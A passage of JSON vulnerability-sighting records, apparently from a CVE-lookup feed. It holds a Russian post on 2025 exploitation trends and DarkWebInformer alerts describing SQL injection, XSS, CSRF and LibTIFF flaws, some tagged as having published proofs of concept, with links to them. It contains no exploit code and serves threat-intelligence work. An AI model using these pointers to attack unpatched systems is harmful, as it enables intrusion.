\u0430\u0442\u0430\u043a\u0438:\n\ud83d\udfe3 \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0435 \u041e\u0421 *nix \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a \u0437\u0430 2025 \u0433\u043e\u0434 \u043f\u0440\u0438\u0448\u043b\u0430\u0441\u044c \u043d\u0430 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b. \u041e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 Linux \u0434\u043b\u044f \u0434\u0435\u0441\u043a\u0442\u043e\u043f\u043e\u0432;\n\ud83d\udfe3\u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b Linux, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Dirty Pipe, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Netfilter. \u042d\u0442\u043e CVE-2022-0847, CVE-2019-13272, CVE-2021-22555, CVE-2023-32233;\n\ud83d\udfe3 \u0434\u043b\u044f \u041e\u0421 Windows \u0442\u0435\u043c\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u043d\u0438\u0437\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0432 2025 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u043d\u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u044e\u0442 \u043d\u0430\u0447\u0430\u043b\u043e 2024-\u0433\u043e;\n\ud83d\udfe3 \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: CVE-2017-11882 \u0438 CVE-2018-0802 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Microsoft Office, CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad.\n\n\u041a\u0430\u043a \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445, \u0442\u0430\u043a \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0446\u0435\u043b\u044f\u0442\u0441\u044f \u0432 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u043e\u0432. \u0412 2025 \u0433\u043e\u0434\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 WinRAR (CVE-2023-38831, CVE-2025-6218 \u0438 -8088) \u0438 7-Zip (CVE-2025-11001).\n\n\u0426\u0435\u043b\u0435\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438:\n\ud83d\udfe3 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u043e\u043b\u0433\u043e\u0434\u0430;\n\ud83d\udfe3 \u0441 \u0433\u0438\u0433\u0430\u043d\u0442\u0441\u043a\u0438\u043c \u043e\u0442\u0440\u044b\u0432\u043e\u043c \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f React4shell, \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 CVE-2025-61882 \u0432 Oracle E-Business Suite \u0438 CVE-2025-8088 \u0432 WinRAR;\n\ud83d\udfe3 \u043c\u043d\u043e\u0433\u0438\u0435 CVE \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0437\u0430\u043a\u0440\u0435\u043f\u044f\u0442\u0441\u044f \u0432 \u0445\u0438\u0442-\u043f\u0430\u0440\u0430\u0434\u0435 \u043d\u0430\u0434\u043e\u043b\u0433\u043e, \u0434\u043b\u044f \u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435;\n\ud83d\udfe3 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Silver, Mythic, Havoc \u0438 Metasploit.\n\n\ud83d\udccc \u0412 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0442\u0447\u0451\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Securelist \u044d\u0442\u0438 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e, \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0441\u0432\u044f\u0437\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 2025 \u0433\u043e\u0434\u0430. \n\n#\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-03-10T14:02:31.000000Z"}, {"uuid": "aa1abc3a-52b2-4527-bb9e-d2aeb020629b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3351", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0803\n\ud83d\udd25 CVSS Score: 7.3 (CVSS_V3)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in Codezips Gym Management System 1.0. Affected by this issue is some unknown functionality of the file /dashboard/admin/submit_plan_new.php. The manipulation of the argument planid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-01-29T03:31:50Z\n\ud83d\udccf Modified: 2025-01-29T03:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0803\n2. https://github.com/alc9700jmo/CVE/issues/8\n3. https://vuldb.com/?ctiid.293924\n4. https://vuldb.com/?id.293924\n5. https://vuldb.com/?submit.485218", "creation_timestamp": "2025-01-29T04:09:47.000000Z"}, {"uuid": "aa60c7fb-6860-438c-9fac-2095edf531aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3339", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0802\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T02:15:27.550\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/theanm0l/VulnDB/blob/main/Improper%20Authorization.md\n2. https://vuldb.com/?ctiid.293923\n3. https://vuldb.com/?id.293923\n4. https://vuldb.com/?submit.485005\n5. https://www.sourcecodester.com/", "creation_timestamp": "2025-01-29T03:17:20.000000Z"}, {"uuid": "3d6fb79f-7f0b-4bfa-b6ef-f7cf68d6b4c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3338", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0803\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T02:15:27.723\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://github.com/alc9700jmo/CVE/issues/8\n2. https://vuldb.com/?ctiid.293924\n3. https://vuldb.com/?id.293924\n4. https://vuldb.com/?submit.485218", "creation_timestamp": "2025-01-29T03:17:20.000000Z"}, {"uuid": "dfeab939-896a-44ae-bb09-5822993d614e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3350", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0806\n\ud83d\udd25 CVSS Score: 4.2 (CVSS_V3)\n\ud83d\udd39 Description: A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as problematic. This issue affects some unknown processing of the file _call_job_search_ajax.php. The manipulation of the argument job_type leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-01-29T03:31:50Z\n\ud83d\udccf Modified: 2025-01-29T03:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0806\n2. https://code-projects.org\n3. https://github.com/1337g/CVE-2025-X/blob/main/xss-1_27.md\n4. https://vuldb.com/?ctiid.293903\n5. https://vuldb.com/?id.293903\n6. https://vuldb.com/?submit.490056", "creation_timestamp": "2025-01-29T04:09:46.000000Z"}, {"uuid": "464237ef-552a-4cba-a32f-cdfeb0dce5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3349", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0802\n\ud83d\udd25 CVSS Score: 7.3 (CVSS_V3)\n\ud83d\udd39 Description: A vulnerability classified as critical was found in SourceCodester Best Employee Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/View_user.php of the component Administrative Endpoint. The manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-01-29T03:31:50Z\n\ud83d\udccf Modified: 2025-01-29T03:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0802\n2. https://github.com/theanm0l/VulnDB/blob/main/Improper%20Authorization.md\n3. https://vuldb.com/?ctiid.293923\n4. https://vuldb.com/?id.293923\n5. https://vuldb.com/?submit.485005\n6. https://www.sourcecodester.com", "creation_timestamp": "2025-01-29T04:09:46.000000Z"}, {"uuid": "75337817-4a6c-45c9-9870-5b082e22b409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3361", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0804\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The ClickWhale \u2013 Link Manager, Link Shortener and Click Tracker for Affiliate Links & Link Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via link titles in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-29T06:31:50Z\n\ud83d\udccf Modified: 2025-01-29T06:31:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0804\n2. https://plugins.trac.wordpress.org/changeset/3219341/clickwhale/tags/2.4.2/includes/admin/links/Clickwhale_Links_List_Table.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf41b5e1-610e-4159-9325-f7a694380050?source=cve", "creation_timestamp": "2025-01-29T07:10:47.000000Z"}, {"uuid": "2c40663a-d239-4aa3-94ec-f0b9f7ee6e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3353", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0800\n\ud83d\udd25 CVSS Score: 2.3 (CVSS_V3)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in SourceCodester Online Courseware 1.0. Affected is an unknown function of the file /pcci/admin/saveeditt.php of the component Edit Teacher. The manipulation of the argument fname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-01-29T03:31:49Z\n\ud83d\udccf Modified: 2025-01-29T03:31:49Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0800\n2. https://vuldb.com/?ctiid.293922\n3. https://vuldb.com/?id.293922\n4. https://vuldb.com/?submit.484935\n5. https://www.sourcecodester.com", "creation_timestamp": "2025-01-29T04:09:52.000000Z"}, {"uuid": "e9c3e622-e587-4d51-be5e-56cb683dce6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3360", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0806\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T03:15:06.900\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://code-projects.org/\n2. https://github.com/1337g/CVE-2025-X/blob/main/xss-1_27.md\n3. https://vuldb.com/?ctiid.293903\n4. https://vuldb.com/?id.293903\n5. https://vuldb.com/?submit.490056", "creation_timestamp": "2025-01-29T05:18:07.000000Z"}, {"uuid": "cff08e42-cf62-4143-91b4-69474e229e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3359", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0804\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T04:15:07.193\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3219341/clickwhale/tags/2.4.2/includes/admin/links/Clickwhale_Links_List_Table.php\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf41b5e1-610e-4159-9325-f7a694380050?source=cve", "creation_timestamp": "2025-01-29T05:18:06.000000Z"}, {"uuid": "9ef11e79-7f81-4f44-86b5-543e6e3ad76a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3584", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0809\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-31T06:15:29.933\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wordpress.org/plugins/permalink-finder/\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/37198f2f-2b45-40d3-b4ae-aa94213996bd?source=cve", "creation_timestamp": "2025-01-31T07:24:00.000000Z"}, {"uuid": "ecd8d415-435b-4961-92aa-2de2f642bce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3618", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0809\n\ud83d\udd25 CVSS Score: 7.4 (CVSS_V3)\n\ud83d\udd39 Description: The Link Fixer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via broken links in all versions up to, and including, 3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-31T06:30:53Z\n\ud83d\udccf Modified: 2025-01-31T06:30:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0809\n2. https://wordpress.org/plugins/permalink-finder\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/37198f2f-2b45-40d3-b4ae-aa94213996bd?source=cve", "creation_timestamp": "2025-01-31T08:15:13.000000Z"}, {"uuid": "ff41f48a-49e4-411b-8826-6150521deae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4008", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0808\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-12T04:15:09.950\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3235031/houzez-property-feed/trunk/includes/class-houzez-property-feed-export.php\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/6fd866ac-6094-4f76-9fba-69494381214c?source=cve", "creation_timestamp": "2025-02-12T05:06:43.000000Z"}, {"uuid": "8b450ac2-ea7b-427a-8c6b-076c1e2ee98a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4024", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0808\n\ud83d\udd25 CVSS Score: 4.2 (CVSS_V3)\n\ud83d\udd39 Description: The Houzez Property Feed plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.4.21. This is due to missing or incorrect nonce validation on the \"deleteexport\" action. This makes it possible for unauthenticated attackers to delete property feed exports via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-12T06:30:32Z\n\ud83d\udccf Modified: 2025-02-12T06:30:32Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-0808\n2. https://plugins.trac.wordpress.org/changeset/3235031/houzez-property-feed/trunk/includes/class-houzez-property-feed-export.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/6fd866ac-6094-4f76-9fba-69494381214c?source=cve", "creation_timestamp": "2025-02-12T07:09:54.000000Z"}, {"uuid": "a63014a4-7ab0-439b-aea8-96c40a352987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "published-proof-of-concept", "source": "https://t.me/antichat/4994", "content": "https://github.com/PenTesting/CVE-2019-0803", "creation_timestamp": "2019-05-18T21:08:21.000000Z"}, {"uuid": "515ed775-05be-4e23-92cb-689da12a9e64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0801", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5834", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0801\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The RateMyAgent Official plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.0. This is due to missing or incorrect nonce validation on the 'rma-settings-wizard'. This makes it possible for unauthenticated attackers to update the plugin's API key via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-28T04:21:57.065Z\n\ud83d\udccf Modified: 2025-02-28T04:21:57.065Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b559017c-f1d2-4f18-bfb6-e52f05910e34?source=cve\n2. https://wordpress.org/plugins/ratemyagent-official/\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3244718%40ratemyagent-official&new=3244718%40ratemyagent-official&sfp_email=&sfph_mail=", "creation_timestamp": "2025-02-28T05:26:28.000000Z"}, {"uuid": "bfcc9af6-207c-4925-bea3-9447b5fe41e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0802", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8415", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0802\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)\n\ud83d\udd39 Description: LibTIFF 4.4.0 has an out-of-bounds write in tiffcrop in tools/tiffcrop.c:3724, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 33aee127.\n\ud83d\udccf Published: 2023-02-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-21T18:59:50.408Z\n\ud83d\udd17 References:\n1. https://gitlab.com/libtiff/libtiff/-/commit/33aee1275d9d1384791d2206776eb8152d397f00\n2. https://gitlab.com/libtiff/libtiff/-/issues/500\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0802.json\n4. https://lists.debian.org/debian-lts-announce/2023/02/msg00026.html\n5. https://www.debian.org/security/2023/dsa-5361\n6. https://security.netapp.com/advisory/ntap-20230316-0002/\n7. https://security.gentoo.org/glsa/202305-31", "creation_timestamp": "2025-03-21T19:19:47.000000Z"}, {"uuid": "ffc17f65-cf5f-4591-95eb-5b29b58bb4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0801", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8414", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0801\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)\n\ud83d\udd39 Description: LibTIFF 4.4.0 has an out-of-bounds write in tiffcrop in libtiff/tif_unix.c:368, invoked by tools/tiffcrop.c:2903 and tools/tiffcrop.c:6778, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 33aee127.\n\ud83d\udccf Published: 2023-02-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-21T19:00:43.776Z\n\ud83d\udd17 References:\n1. https://gitlab.com/libtiff/libtiff/-/commit/33aee1275d9d1384791d2206776eb8152d397f00\n2. https://gitlab.com/libtiff/libtiff/-/issues/498\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-0801.json\n4. https://lists.debian.org/debian-lts-announce/2023/02/msg00026.html\n5. https://www.debian.org/security/2023/dsa-5361\n6. https://security.netapp.com/advisory/ntap-20230316-0002/\n7. https://security.gentoo.org/glsa/202305-31", "creation_timestamp": "2025-03-21T19:19:46.000000Z"}, {"uuid": "1cbde3c5-1422-4d6f-bfd9-f7b1944449a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0800", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8413", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-0800\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)\n\ud83d\udd39 Description: LibTIFF 4.4.0 has an out-of-bounds write in tiffcrop in tools/tiffcrop.c:3502, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 33aee127.\n\ud83d\udccf Published: 2023-02-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-21T19:01:06.503Z\n\ud83d\udd17 References:\n1. 